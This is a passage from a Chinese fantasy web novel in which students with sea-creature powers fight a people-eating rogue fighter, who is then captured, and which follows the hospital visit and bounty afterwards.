沙伍的手指又划了回去：“他速度快。” 蓝鳍金枪鱼过来：“换我试试，能不能靠速度突破过去？” 普通成年蓝鳍金枪鱼的爆发速度非常快，郑燕珺还是异能者，速度更快。 如果是郑燕珺的觉醒体在大海中，凭借速度优势，可以轻松甩掉大部分狩猎者，但是蓝鳍金枪鱼的泡泡，还是在空中，面临一个很可能高度污染的异能者，这个决断并不保险。 她的提议很快就被人否决了。 沙伍建议：“分开走。S级的一人带几个同学，我来殿后。” 话是这么说，他还是苦着一张脸，甚至有些精神错乱地啃了一口压缩饼干，顿时感觉嘴巴里更难受了。 目前班级里只有沙伍能清晰感应到污染源的位置，且他有过抵抗经验。 同学们觉得他一个人不保险，刚反对了几句，突然听到沙伍大喊一声：“防御！” 所有同学下意识就给自己套上膜和护盾，海龟和田螺的护盾套住整个泡泡。 他们的速度已经足够快，可惜所有的防御屏障几乎在两秒内就先后破碎。 全班同学从破裂的海龟泡泡里摔出来，地上一个水母泡泡飞快出现，给众人做了个缓冲。 一道带点神经质的男声响起：“小朋友们，商量出个结果了吗？嘻嘻嘻，可惜不能和你们多玩一会儿。这破地方，难得有你们这么好吃的小东西来。” 吃？ 沙伍头皮发麻：“这玩意儿吃人？！” 他这时候也不说自己鲨鱼肉不好吃了。 夜鹭院长的嫌弃只是说着玩，眼前这个奇怪的人说的吃是真的吃。 小丑鱼因为恐惧，声音尖锐：“完全污染！” 他能感觉到前面一片巨大的污染源，但是确定不了位置。 带着污染的大雨和污染源的污染融合，周围一大片荒原像是被巨大的污染笼罩。 沙伍听到完全污染四个字差点骂出声：“不是说完全污染者很稀少的吗？” 这特喵的还怎么打？ 小丑鱼浑身哆嗦：“啊？控制不好污染，拉不回来的完全污染者不少啊。” 身为战斗净化者，他对人类的精神污染感觉更加敏感，庞大的扭曲的污染像是不可名状的怪物，却还是努力克制着自己的恐惧，仔细辨别给同学们提供情报：“他在完全污染前，起码是个六级异能战士。” “啊？”六级的完全污染？怎么跟他在姜纶书房里看过的完全污染概念不一样？ 不过，六级？ 那他之前感应到的对方的实力，应该大差不差。 异能战士的等级划分，根据的是异能者对于自身异能的控制程度强弱，和异能值的高低没有关系。 所以一个中级异能战士，如果异能值是较低的D级的话，异能强度可能还比不过S级异能值的初级异能战士。 沙伍没少感受姜纶10%异能值，那种密实的铺天盖地的异能和眼前的比起来，完全不在一个层面。 对啊，他连姜纶都能啃，一个 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被田螺保护住的攻击系学生们，纷纷用出各种攻击，可惜散乱的水系异能对明显同样是水系的污染者几乎没有效果，甚至一大半还落空了。 “啊！”污染者突然发出一声惨叫，不等学生们高兴攻击起效，就抬手拽住一根水母触须撕扯，“哈，骗你们的。小同学的攻击力还得练练，破不了防可怎么办啊？” 拳头大的桃花水母孱弱无比，眼看着就被污染者撕碎，巨大的异能鲨鱼从天而降，精准把污染者撞进河中，掀起巨大的浪花。 小丑鱼甩出一道水线，卷住桃花水母，在混乱的异能和污染中穿梭，迅速拉到兜帽中。 桃花水母显然惊魂未定：“差、差点变成海蜇头了。” 作为S级异能值且是毒系异能者，桃花水母不能说横行霸道，在和异能者的冲突中也从来没吃过亏，根本没想过自己是个脆皮。 她都不敢想要是被撕成一片一片，死状得多难看。 小丑鱼艰难地用异能给桃花水母治疗情况糟糕的触须，都不知道该怎么吐槽同学：“专注修复啊！” 异能能够加速自身恢复，更别说是本身具有很强恢复能力的水母。 桃花水母对此，显然不是很熟练，完好的触须抱住光滑的脑壳：“我、我的海蜇皮……是不是裂了？” “严重的是你的jio啊！你的jiojio啊！” 不断抛飞的兜帽中，桃花水母说话断断续续：“jio、jio哪有脸重要？” “你们能不能别说相声了！”沙伍踉跄闪开一道攻击，提醒，“下水了！” 陆上作战果然不适应。 要不是他有隐匿天赋加上同学们的支援，早就已经扛不住了，即便如此，躲闪也远没有在海中灵活。 沙伍第一次打架打得如此难受，殊不知污染者比他更难受。 无数细小的东西在啃噬自己的异能，甚至不挑食到连着污染一起啃。 感觉到迅速减弱的异能，他终于维持不了表面的平静，面目扭曲中巨大的污染爆发。 一条黑色的带着丑陋纹路的怪鱼猛地冲向小鲨鱼。 小丑鱼分心观察，认出目标：“清道夫！” 32-40 第32章 悬赏金 清道夫，学名下口鲇，最初是作为清理鱼缸的一种观赏鱼引进国内，由于适应性强，几乎不可食用，在国内的水域泛滥成灾，造成了巨大的生态破坏。 沙伍一瞬间几乎想收回自己的异能：“怪不得这么难吃！” 这条清道夫的体型显然比普通的变异清道夫要大得多，漆黑的身体像是裹着一层黏稠的沥青，散发出腥臭味，将近一米的身长倒是没有比营养不良小鲨鱼的体型更大。 清道夫，显然不是监测点老师中的任何一人。 班长焦躁地看了一眼手环，发现信息依旧没发出去，就连原本可以看到的其他班级群的位置信息都已经消失。 信号断了。 “他还附魔！”蓝鳍金枪鱼看到清道夫那层恶臭的外壳，捂嘴，“这怎么下口？” 黑鱼和青鱼同学也闭上嘴巴，脸色比鱼鳞都黑。 作为异能还不能够熟练使用的菜鸟，完全转化的同学们的攻击方式，更多依赖觉醒体的本能，譬如用牙齿咬。 宽吻海豚别说用牙咬了，都不想用自己的尾巴去拍，看到沙伍用异能鲨鱼攻击，感觉异能都脏了。 沙伍嫌弃归嫌弃，真打起来就顾不上那些了。 在水深和水域宽度都有限的河道中，一米长的清道夫显然比三米长的小鲨鱼更加灵活，对于水的掌控力更是比小鲨鱼要强得多。 沙伍最直观的感受就是明明在水里，周围的水却很稀薄，很难用异能去调动足够的水来形成杀伤力。 好在他和生猛海鲜们打架的时候，面临过不少类似的情况，总能找准异能的间隙腾挪。 庞大的体型在水中灵活得不可思议。 高度污染后的清道夫，异能的攻击力明显加强，但控制力明显变弱，造成的攻击更加散乱，给异能小鲨鱼更多可乘之机。 沙伍在适应了对方的攻击后，突然发现自己的攻击方式简直天克。 他可太擅长找漏洞了。 “嘶——”庞大的攻击甩过来，小鲨鱼躲避开大部分，还是被余波扫到，肩膀一阵疼。 小丑鱼立刻用异能净化掉清道夫残留的污染：“你竟然穿了两层作战服。” “得亏穿了两层。”桃花水母感觉自己就吃亏在没有多穿一件作战服上。 她穿的还是夏季作战服，防御力偏弱。 沙伍专注在战斗上，根本没听身上两个挂件的嘀嘀咕咕。 清道夫的弱只是相对弱，毕竟不是不会攻击等着他吃的小少爷。 沙伍注意到其他同学们纷纷下水，立刻将显眼的异能鲨鱼群往清道夫身上招呼。 这些异能鲨鱼看着声势浩大，掀起了巨大的水浪，更是将原本就浑浊的水底搅和得视野极差，但它们给清道夫造成的麻烦几乎可以忽略不计，远不如那些细小的在啃噬他异能的小鲨鱼来得难缠。 它们的作用是给同学们标记清道夫的位置。 清道夫混乱的脑子根本意识不到这一点，仇恨的目光搜寻沙伍，声音像是从地狱里爬上来的恶鬼：“一个连一级都不是的菜鸟。”竟然让他体会到了什么叫跗骨之蛆！ 本来就是底栖鱼类的清道夫，对水质的适应性极强，浑浊的河水对他来说是最好的掩护。 只是他刚捕捉到一点沙伍的气息，几道攻击猝不及防落在准备潜入幽暗中的清道夫身上，直接破开他的防御膜。 “啊！” 清道夫发出一声凄厉的惨叫，巨大的身形在河底挣扎扭曲，将原本浑浊的河水搅和得更浑。 “淦！打歪了！”有人咒骂了一声。 “不能瞄准一点？” “打偏了啊！” “总比你打空了好！” 几道身影吵吵嚷嚷，声音在混乱的河水中传递，显得忽远忽近。 “嘻。”清道夫突然发出一声笑，语气轻快，“打到了。骗你们的。” 浑浊的泥沙渐渐下沉，可以看清的河底不见清道夫的踪影。 同学们迅速四散开来，一条鲤鱼倒霉得被抽飞到空中。 庞大的异能污染往看似失去抵抗力的鲤鱼抓去，原本黑黄色的鲤鱼鳞片外面突然多出一圈红色的虚影，无处借力的身形竟然在半空中猛然往上蹿了一截，险险躲开攻击：“傻了吧？老子会跃龙门！” 漆黑的异能污染抽长，对着在空中扑腾的鲤鱼抽了一个巴掌。 鲤鱼吱都没吱一声，在空中划过一道长长的弧线，远远摔进了河里，失去了生息。 桃花水母都哆嗦了：“完了，变成茄汁黄河鲤鱼了。” 小丑鱼下意识接话：“应该还能抢救一下，我看白虾过去了。” “人家叫白虹，不叫白虾。”桃花水母小声更正。 小丑鱼作为战斗净化者，对人类污染的感知更加敏锐，经过更长时间的观察后，对沙伍小声说道，“这个完全污染者原本的异能值不高，应该在C级，顶多接近B级。完全污染后的现在，战力大概相当于拥有A级巅峰异能值的六级异能战士。” 沙伍跟着观察，但：“怎么判断得这么精确的？” 小丑鱼没空回答沙伍的问题，继续说道：“六级是一道坎，无论是完全污染者还是异能战士，想要突破到高级都很难。我感觉他的异能在迅速攀升，随时有可能突破。我们得抓紧时间。一旦他真的突破到了七级，我们一个都活不了。”想了想又觉得就算是一个完全污染的六级，他们也不可能对付，改口，“老师应该注意到我们的信号消失会过来查看，只要我们拖延一点时间，等到老师来了就好。” 沙伍呲牙纠结：“又要抓紧时间，又要拖延时间。” 他猛地躲开散乱扫过来的异能污染，又重新变回目标更小的人形，下意识学着姜纶，将自身气息收敛到极致，配合自身的隐匿天赋，几乎在一瞬间就消失在清道夫的感知中。 “在哪儿？” “鲨鱼在哪儿？” “滚出来！” 原本就已经跨过50%污染界线的清道夫，精神本就处于高度不稳定状态，在几乎清扫了一遍河底还没找到人后，更是混乱：“不就是仗着异能值高吗？” “不就是仗着天赋好吗？” “我也是净化者！” “凭什么看不起我！” “我怎么就不是净化者？” “我明明可以吞噬污染，我明明做得很好！” “都已经污染了，被吃了有什么不对？” “同期没有谁比我的战士等级提升更快！” “凭什么嫌弃我恶心？” “都给我去死！去死——” “对！我要吃了你们！” 伴随着他一声声的质问，他身上的气息像是踩着台阶一样一步一步提升。 25名十班同学被拥有隐匿天赋的同学们分散在河道里，大气都不敢喘。 沙伍原本在异能缝隙中啃噬的异能小鲨鱼，一条一条被庞大的力量搅碎。 庞大的异能混合着让人感到心脏突突的污染，让一长段奔腾的河水固定，天空中的雨都停了。 “嘻嘻嘻，所有天赋比我强的都要被我吃掉，我就会是最强的。” 异能值一个比一个高，实力却这么弱，这样的珍馐美味足有25个。 他都可以想象到，一旦他把这些异能者都吃了，不仅能够修复伤势，异能等级还能突破。 突破了，他就能正式迈入高级异能战士的门槛，到时候他就可以不用藏头露尾。 头顶的云层散开，露出许多闪耀的星星。 狂暴的异能污染突然安静，像是安静的湖水，清澈平静，又无处不在。 危险！ 待在沙伍帽子里的桃花水母和小丑鱼瑟瑟发抖，都不敢抖得频率太高。 一道人影突然出现在沙伍面前。 青年二十出头的样子，半张脸白皙莹润五官精致，另外半张脸漆黑如墨，还有蓝色的荧光流转，像是戴了半张面具。 他几乎贴在沙伍的脸上，微笑：“调皮的小家伙，找到你了。” 沙伍的心脏都停跳了半拍，什么异能不异能的都没脑子考虑，只下意识用出全身所有的异能，且连着牙齿尾巴一起上。 小丑鱼和桃花水母也是差不多的反应。 突然，他们感觉到一股微风拂过脸颊，全身像是被一层柔软的棉布包裹，攻击和恐惧都在温暖的拍抚中安静下来。 像是世界突然被按了暂停键，什么都没发生。 他们也没有被杀死，也感觉不到疼痛。 偷眼看了看，发现清道夫的状态和他们一样。 嗯，比他们更糟糕。 浅青色的风系异能把清道夫紧紧包裹，让他整张脸变得无比狰狞。 “脸部用力没法提升异能。” “也不能解开禁锢。” 沙伍听着兜帽二人组的话，脸都麻了，感受到熟悉的异能气息，带着两人跃出水面，回到岸上：“谢谢小风姐！” 并没有借助任何工具就站在空中的小风，穿着一身印着兔子和胡萝卜的睡衣，光着脚眯着眼，一副被人从睡梦中吵醒的样子，看到沙伍还是下意识露出一个笑：“小伍现在还不可以乱吃东西哦。好了，这个人我带走了，你们继续拉练吧。” 小风拽着清道夫，很快就消失在空中。 十班同学们纷纷冒头，刚想说什么，天空中的暴雨重新倾盆而下，静止过后的河流更加汹涌，差点冲走好几个。 众人七手八脚渡河，在岸边重新集结在小鲨鱼泡泡里。 班长正在清点人数和受伤情况：“人都到齐了！” 说完，他长舒一口气。 军训中已经学过紧急治疗的同学们相互帮助，两名净化者不断给同学们净化。 异能消耗完的小丑鱼变回人形，坐在沙伍身边，看他操控着凝实了一点的鲨鱼泡泡往目的地飞去：“你不累吗？刚才你的异能应该消耗最大吧？” 沙伍“哦”了一声：“可我吞噬的异能比我消耗的异能多啊。” 清道夫的异能难吃是难吃了亿点，但多是真的多。 讲真，他现在有点撑。 异能又不能像吃到不好吃的东西一样吐掉，他也不想消化吸收那些异能，还是赶紧用掉得好。 走过来的宽吻海豚刚想开口，就注意到沙伍一脸忧愁：“怎么了？是不是哪里不舒服？” “没。”沙伍干脆盘腿坐在泡泡里，被刚才的异能污染又是刮到又是碾压，两件作战服都破破烂烂，“班长能不能把柠檬水给我？” 他们领取的20公斤负重里，包括了一天的单兵口粮，其中有饮料，只是味道都相当一言难尽。 “啊？你要吃那个？”班长直接从自己的背包里把柠檬水找出来给他，“还有红茶和豆浆要吗？” 这些饮料确切的说，应该叫XX口味粉。 “要吧。”沙伍这一刻甚至都怀念成熟的变异柠檬往外面喷的会滋滋冒烟的酸水。 班长把东西留给他：“你的修复药剂不用吧？” “嗯，不用。”沙伍把医疗包拿出来，直接给他，担心地看了看后面，“很严重？” 全班25人，多少都受了点伤，有几个情况看着还挺惨的，譬如被抽飞的鲤鱼同学。 “没有生命危险。”班长实事求是，“真有事的话，我们肯定直接返航了。” “嗯。”沙伍只能在尽可能保持平稳的前提下，加快鲨鱼泡泡的速度。 他并没有飞很高。 河流和地表的危险，已经被刚才的清道夫全都搅碎，短时间内很安全。 班长拿着沙伍的医疗包去给同学们急救。 桃花水母一小团，舒展着自己长长的触须，DUANG在沙伍旁边：“幸好还有离线导航能用。” “这么点距离，没导航也没事。”沙伍在完全没信号的外海，早就已经练出来了。 像大白鲨这样的大鱼，几乎可以全球巡航，沙伍哪怕是个营养不良的亚成体，性格中也没有关于迷路不迷路的担忧——整片大海都是他的一亩三分地，最多只是多转几圈罢了。 “长得个头大真好啊。”桃花水母悄咪咪把自己和沙伍的手对比了一下，发现还没沙伍的手大，“唉，大家都是S级，我也想要成为一个威风的大海蜇头。” “你是淡水水母，不是海洋水母，别老想着变成海蜇头。”沙伍突然想到曾经抓到过的海蜇，“凉拌海蜇头脆脆的，很好吃。下次多抓一点，你吃……咦？陶华？” 刚才还用海蜇皮悄咪咪贴他手背的桃花水母，连一根须须都看不见了。 海龟同学走了过来。 他保持着海龟的外形，表面看不出什么损伤，只是相较普通海龟更加花里胡哨的龟壳有些暗淡：“你要去抓海蜇？算我一个。” “你这样没事吧？要不还是我抓回来给你吃。”沙伍有些担心。 海龟趴着，显然不是很精神：“没事，就是被污染了。花杨蓉已经给我做了净化，等回去再净化两三次就好了。” 作为防御系异能者，他保护了班级里的很多同学，受到的异能污染攻击比别的同学更多。 残留的污染让他有些难受，精神萎靡。 想到这里，他突然抬头看了看遭到直接攻击最多的沙伍：“你有没有被污染……哦，没有污染。” 除了有些破烂的作战服，露出来的些许泛红的皮肤，沙伍身上看不出任何战斗痕迹。 “打架的时候，花杨蓉跟我在一起，有一点污染，他直接就给我净化了。再加上我好歹也是半个净化者？”打架的时候很混乱，现在回想起来，感觉小丑鱼的净化和他的净化不一样。 现在时机不合适，等过一阵子，他找小丑鱼请教一下。 海龟想到他那种斩草除根式的净化，忍不住划拉了一下四肢，发出轻笑。 沙伍知道他还想给自己提供必要的保护，但：“睡吧。我已经看到老师了。” 海龟很信任他，几乎在下一秒就沉沉睡去。 沙伍没有骗人。 他们之前就走了大概十公里，战斗结束后，鲨鱼泡泡几乎是沿着直线前进，剩余的五公里耗费不了太多时间。 李老师没有等在目的地。 他刚收到班级遇袭的消息，踩着飞板找过来，差点和鲨鱼泡泡迎头撞上，一个急停绕开一段弧度，透过泡泡观察里面学生的情况。 泡泡很薄，透明，但流转着水纹，让视线不是很清晰。 他下意识用异能去扫，发现自己的异能在穿透泡泡的时候，减少了很微弱的一丝。 鲨鱼泡泡外表“长”出一个泡泡，把李老师包裹住，直接拉进泡泡里。 李老师把整个班级的学生都快速检查了一遍，最后走到看起来情况最好的沙伍身边。 显然有些困倦的少年眼皮已经微微下垂，说话的声音含混不清：“老师，我们拉练算结束了？可以回去了吗？” “结束了！赶紧回！”李老师悬着的心终于放了下来，接手鲨鱼泡泡返航，速度直接飙升。 他收到的信息只简单讲了一句受到疑似高度污染者袭击，究竟是什么情况根本不清楚，现在看学生们的情况，虽然都挂了彩，好歹人都还活着，看上去伤得也不算太严重。 他蹲下，拍了拍快躺下的沙伍，压低声音：“究竟怎么回事？” 沙伍刚才还很精神，但看到了李老师之后，精神一下就松懈下来，人困得不行，打了个哈欠：“我们遇到了一个完全污染者？觉醒体是清道夫。他好像在完全污染前就吃人，还想把我们吃了。” 清道夫！ 吃人！ 两个关键词让原本就脸色难看的李老师脸色更加阴沉：“他现在人呢？” “被小风姐抓走了。”眼皮都快睁不开的沙伍突然警醒，“不扣分吧？” “……不扣。”什么时候了还关心军训分数？“那个完全污染者不是学校安排的，你们做得很对。睡吧。” 鲨鱼泡泡掠过3号监测点，直接落在青龙学院附属专科医院。 学生们的受伤情况比预想中要轻。 “他们都做了及时准确的紧急治疗，受到的污染已经快被净化完了。”章医生把25份检测报告形成的光环绕圈铺开，几乎形成一个报告牢笼，“这点伤，你犯不着把他们都带回来吧？军训不是还没结束？” 李老师看得头晕，却还是不得不仔细看：“他们遇到了那个完全污染的清道夫。” 章医生原本轻松的表情瞬间僵住：“那个……清道夫？” 六级巅峰被完全污染的异能战士，原名叫什么已经没人关心，在他被完全污染前，名声就已经臭名昭著。 本来在面临强敌的时候，作为中级异能者，适当释放少量污染，从而提升自己的战斗力是很正常的事情；但是那些清道夫曾经的队友，一旦释放污染，无论有没有失控，最后都会被清道夫吃掉。 在事情暴露前，清道夫作为一名战斗净化者，还很受战斗小队的欢迎。 那些死去的队友，根本不知道究竟是死在变异生物手中，还是死在清道夫手中。 要不是清道夫没能控制住自己被完全污染，在精神混乱中自己说出自己的一部分罪行，根本就没人知道他是一个这么可怕的家伙。 他的作为显然引起了众怒，不仅那些曾经队友的家属组织悬赏和讨伐，异能战士协会都发布了通缉令。 可惜清道夫具备极强的隐匿能力，完全污染后就失去了踪迹。 “还有人说清道夫已经死了呢。”李老师现在还不知道自己的学生们和清道夫的接触到底到什么程度，只能自己脑补，越脑补越害怕，“六级巅峰的完全污染要不就是异能暴乱炸了，要不就是突破到高级稳定下来。” 章医生听得脸色发蓝：“那清道夫呢？不是你杀的吧？” 李老师虽然有能力把清道夫干掉，但绝对不会毫发无伤。 李老师看着章医生的眼神就知道他在想什么，嘴角抽抽：“我好歹是七级……”好吧，七级异能战士对上六级巅峰的完全污染者，确实不能算是胜券在握，还很有可能被反杀，“应该是风铃。”也就是沙伍口中的小风姐。 “哦，对。小少爷也在。”章医生突然就高兴起来，“我联系一下风铃。她应该能把清道夫活捉，不知道能不能给我研究一下。” “章医生，李老师。”梁管家突然敲门进入诊疗室，“小伍没事的话，我把他带回宿舍休息一晚，明天用过早餐后再送去3号监测点？” 专科医院的床位本来就很紧张，沙伍什么伤都没有，这个提议很快就被采纳。 累瘫的沙伍根本就没醒，主要是梁管家的气息太过熟悉，完全没有让他产生任何警觉。 他一觉醒过来，脑子显然还没清醒，看到怀里的一个变异柠檬就开开心心往楼下跑：“新的柠檬！” 宿舍里的其他人都已经早起工作了一段时间，薛春像是看着淘气的小弟，纵容地笑笑：“昨天晚上新摘的，你之前那个应该快熟了，还想着给你送去，没想到你就回来了。” 沙伍把高举在头顶的变异柠檬放下来，小脸微红：“谢谢薛哥。我怎么回来了？” 梁管家显然很满意他说“回来”这个词：“昨天晚上李老师把你们带去医院。我想着反正你没受伤，干脆回来住一晚，能休息得更好一点。快去洗洗，马上就能用早餐了。快点吃完，一会儿给你同学们和李老师带一点过去。” “好~”沙伍拖着声音抱着柠檬又哒哒哒跑上楼，没一会儿就吃到了祁大厨精心烹饪的热气腾腾的早餐。 虽说他这几天在3号监测点，吃的食物也都是祁大厨做好后送过去的，但能这么坐在厨房里，看着祁大厨和阿二他们做饭，和一群人一起吃饭的感觉就是不一样。 开心~ 沙伍吃完早餐，带上梁管家准备好的探病果篮和一个餐盒，坐上小飞车往医院去。 人刚下小飞车，还在医院走廊里，就接到了姜纶的电话，点开视屏：“这么早？你今天不睡懒觉吗？” 姜纶的背景显然是在船上：“睡什么懒觉？我们钓鱼佬不睡懒觉。你怎么在医院？” “昨天遇到个奇怪的家伙，同学们都受伤了，在医院做检查。李老师！”沙伍看到坐在医院走廊里的李老师，加快脚步，跟姜纶说了一句，“等等我到监测点再跟你说昨天晚上拉练的事。” 说完，不等姜纶回答就关掉了视频。 李老师显然就在椅子上坐了一整晚，被沙伍一叫，立刻从浅眠中警醒，抬手搓了搓脸：“沙伍，早啊。怎么不多睡一会儿？今天不另外安排军训的事情，你可以休息一天。” 沙伍把餐盒递过去：“同学们没事吧？” “没事。”发生了这样的意外，他得跟学生家长们挨个沟通。 不管再怎么通情达理的家长，不管他们学校专业的危险性，在面对子女差点就死了的情况，语气都好不了。 李老师解释了一个晚上，嗓子都哑了，心力交瘁。 和高污染者战斗，最麻烦的不是什么断手断脚内伤外伤，而是污染会侵蚀身体和精神。 哪怕十班学生们的异能值都很高，但毕竟连异能战士都不是，面对一个随时可能突破中级到达高级的完全污染者，哪怕没有一个照面就被打死，沾染上的污染也很难拔除。 结果检查下来竟然屁事没有。 少量的污染值肯定是存在的，但经过一个晚上的净化治疗，到凌晨4点的时候已经全部归零。 保险起见，李老师还是决定让学生们再多观察一天。 沙伍没多想：“那我去看看。” “等等。”李老师叫住他，手指指着他夹在腋下的变异柠檬，“你带着个柠檬干嘛？” 沙伍立刻想到前一个被遣返回宿舍的柠檬，目光警惕：“给同学们挤点柠檬汁去腥。”水产养殖学院专属配菜！ 李老师：“……没事别学清道夫那种变态。” 沙伍站住不动。 想去卫生间简单洗漱一下的李老师觉得他没憋好屁：“说。” 沙伍歪头，黑白分明的眼睛里全是真诚：“不能尝尝同学？” “不！能！” 突然不放心让这小子一个人去探病。 突然觉得这小子手上的果篮很不正常。 为什么他会幻视学生们身上铺了厚厚的一层切块水果，被送进烤箱？ 随后沙伍还是在李老师的陪（监）同（视）下，探望了同学。 没什么好探望的，早晨六点半，连日消耗了大量体力的同学们都还睡得很沉，就是有的躺在床上，有的沉在水底。 24个人分了两个大病房。 沙伍低头看了看梁管家塞给他的两个巨大的果篮，一个病房放了一个，在李老师越来越不善的目光下迟疑：“那我先走了？” 李老师摆摆手：“走。” 沙伍走了两步停下来，回头跟李老师确认：“今天是自由活动？” “是。”他看着沙伍走了两步又停下来，眉毛要竖起来。 怎么滴？ 真想找个同学尝尝？ 哦，他看过昨天晚上的录像，一个班级有大半的人都开启了手环录像功能。 尽管当时情况复杂，视野模糊，他还是从十几份录像中拼凑出了完整的事情经过。 眼前这个小鲨鱼连清道夫都能下得去口，是真的不挑食，还是长期营养不良导致的饥不择食？ 沙伍觉得老师看自己的眼神怪怪的：“老师，你是不是要跟我说什么？” “没有。” 沙伍一步三回头：“那我真走了？” “走！赶紧走！”走了他好吃饭。 咦？ 他能吃到钻石小少爷同款早餐了！ 突然感觉到作为钻石小少爷班导的好处！ 等沙伍真的离开了，李老师没去洗漱，先一步打开餐盒，然后看到一份宝宝餐——营养丰富均衡，易消化易吸收，调味清淡，颜色丰富造型可爱。 所以，这不是钻石小少爷同款，是小鲨鱼宝宝同款。 李老师呲了呲牙，又呲了呲牙，想到录像最后多角度拍摄的最清晰的画面——个子娇小的姑娘抬手就制服了清道夫。 那姑娘在钻石小少爷的宿舍里，只是一名普通女佣。 李老师默默收回了呲出去的牙齿。 沙伍对李老师的心路历程浑然未觉，骑着小飞车回宿舍，问了没什么需要带的东西，招呼了一声就去潮汐湖跳了下去。 3号监测点就在他平时晨练的一线，只是他更倾向于在中间，监测点则在岸边。 他熟门熟路寻找好吃的好看的好玩的海洋生物，鲨鱼形状的水兜兜里很快就装了许多东西，突然注意到一群奇奇怪怪的家伙扎堆游过来。 他敏锐地闻到一丝血腥味，下意识隐匿起来，迂回靠近。 等摸到附近，他才冒头，一脸失望：“一班的啊。” 受伤不重但形容狼狈的一班同学们，被突如其来的声音吓得直接在海里面乱窜乱叫。 沙伍抓虾都抓出了条件反射，看到这种乱窜的就往自己的水兜兜里塞，意识到不对后，又赶紧要把他们都放出来：“一惊一乍的，干嘛啊？” 待在水兜兜里的同学们纹丝不动：“同学，你带我们回去吧。” “你不知道我们老师不是人。” “昨天晚上说好的十公里拉练，他在半路伏击我们。” “早上我们好不容易到达目的地，他把我们全都丢进了海里，让我们自己游回来。” “我们的负重好多都坏了，单兵口粮都被老师抢走了，一整个晚上只能勉强啃两口压缩饼干和能量棒。” 同学们显然都累坏了，控诉都有气无力。 沙伍只能把水兜兜变成巨大的鲨鱼泡泡，像是一艘潜艇一样，把整个一班的同学全都包裹起来，带着一起返回3号监测点。 码头上，沙伍拒绝了一班同学们把他们送到宿舍楼的请求，提溜着一早上的渔获，转身上了豪华游艇。 姜纶没什么形象地挂在护栏上，居高临下看着他，像是一条长长的鳗鱼。 沙伍感觉有些奇怪，看了看自己水兜兜里鲜活的鳗鱼，又看看姜纶，感觉没什么相似之处。 他怎么会觉得钻石小少爷会像鳗鱼？ 他站在底层甲板上，冲着二层甲板上的姜纶喊：“小心别掉下来！” 姜纶冷哼，直接跳了下来，落地很轻盈，一点声响都没有。 沙伍立刻想到自己宿舍楼下面的坑，再看向姜纶的时候眼神微妙：“熟练掌握了跳楼技能。” 姜纶几乎是把水兜兜抢过来，用恶狠狠的语气绕开跳楼话题：“昨天晚上遇到那种家伙竟然还想着上去打，你不会逃啊！” “这不是逃不掉嘛。”沙伍自知理亏，还讨好地歪着脑袋顶了顶他肩膀，小声解释，“那家伙感觉不是很厉害，跟着我们也不像是要攻击的样子。昨天晚上我们打架的地方，距离李老师其实已经很近了。没想到昨天晚上涨水那么厉害，李老师被一群五级和六级的变异鱼给缠住了，没能及时发现，还好有小风姐在。” 本来以这次军训老师们的实力，对付一个清道夫完全不虚。 只是昨天晚上通讯中断，十个班级分成了十条路线，老师也分成了十个方向，等于是自己分散了实力。 他们这么做也是绕着监测点清理出一片安全区域。 按照规划路线，学生们沿途遇到的危险可控，预计顶多就是有个擦伤扭伤之类的小伤，给学生们准备的20公斤负重里的武器都是仿真武器。 没人料到会出现一个穷凶极恶的通缉犯。 幸亏通缉犯被污染得脑回路不正常，不然一上来就下杀手，十班的学生们不说全军覆没，高低得死几个。 李老师受伤的事情，还是今天早上刚巧遇到下班的章医生才知道的。 姜纶抿了抿唇：“我定了一座新的信号塔。” 污染区域内，再怎么新的设备，磨损都比正常环境中的要快很多。 监测点的设备都破破烂烂，不是……不仅是因为资金匮乏，而是因为再怎么昂贵的设备都没法坚持太久，干脆能凑合就凑合用，坏了再换个二手的，省钱。 姜纶怪自己只想到给宿舍换新床，没想到换个信号塔。 要是昨天晚上的信号塔没出问题，沙伍他们也不会遇到危险。 沙伍被他揽着肩膀搂了一下，干脆落后一步跳到他背上让他背着：“不是你的错。昨天晚上再怎么样，我肯定能逃得了。” 不是他吹，以他的本事逃到海里肯定不是问题。 等到了海里，清道夫还能追上大白鲨？ 顶多就是受点伤。 要不是小丑鱼和桃花水母在他兜帽里，他说不定就真跑了，毕竟他的仇恨值拉得挺稳的，有九成的把握清道夫会追击他。 阿大走了过来，接过水兜兜打量里面的渔获，一眼就看到了一条腿粗的鳗鱼：“这么大的鳗鱼，还是我们家小伍会选食材。我一会儿做鳗鲞，小伍要不要学？” 沙伍立刻跳下姜纶的后背，走到阿大身边：“学！”又问，“小风姐呢？” 阿大笑笑：“去异能战士协会送人拿悬赏了。小风运气真好啊，普通六级可没这么多悬赏金。” 沙伍好奇：“上哪儿看悬赏金？” 阿大呼出自己的手环，打开一个沙伍没有的APP：“喏。等你通过了异能战士考核，就能注册异能战士协会，里面会发布一些任务，也可以交流一些信息。” 他一路操作，打开清道夫的悬赏页面，上面显示任务已完成。 沙伍的注意力在赏金上面，竟然不止一条，密密麻麻起码有几十人出资，总金额高达好几千万。 没见过世面的小鲨鱼惊呆了：“好多钱，怎么这么多钱？” 阿大解释：“清道夫杀的人太多了，杀的还是队友，很可能还是吃掉的。得亏他还没有突破到七级，不然被人知道靠着吃异能者，真的能够提升实力……” 后面的话阿大没说，沙伍已经感觉毛骨悚然。 他虽然常常说尝尝同学，可没有真的尝过……哦，不对，他只尝过姜纶。 想到这里，他突然就拉住姜纶，跟阿大说：“林大哥，你现在不做鳗鲞吧？” 阿大会意：“嗯，我先处理一些别的食材。你去忙别的事情吧。” “好。”说完，沙伍就拉着姜纶跑回房间。 姜纶很自觉往卧室走，被沙伍拉住往书房去：“是不是要关心一下我昨天晚上拉练有没有受伤？我脱衣服给你检查。” 一下子就去书房吗？ 也、也不是不可以。 沙伍愣住：“你还能受伤？”皮硬到根本咬不动，防御力远超海龟+田螺，“等会儿你再跟我说你拉练的事情。” 见姜纶实在拽不动，他只能折中坐在起居室沙发上，“那个清道夫才六级，同学说他是完全污染，怎么跟你书房里的书概念不一样？完全污染，不应该是……九级吗？” 第33章 破壳 姜纶的书房，里面几乎所有的书都是网络上没有的。 沙伍平时学习累了，就会去他书房里找几本不太费脑子的书，当成小说来看。 其中有一本书中记载的关于异能战士等级划分的内容——九级异能战士就是完全污染。 他到现在都还记得，当时看到时候的冲击。 “嗯？你看到那本书了？”姜纶坐在沙伍身边，把他抱到自己腿上，埋头在他脖颈处吸了一口，“那些书比较老，是很久以前的力量划分体系，跟现在的不一样。” “你别老是把我抱来抱去，我又不是小孩子。”沙伍痒得缩了缩脖子，也跟着在姜纶脖颈边吸了一口，还咬了一口：“好好说话！” 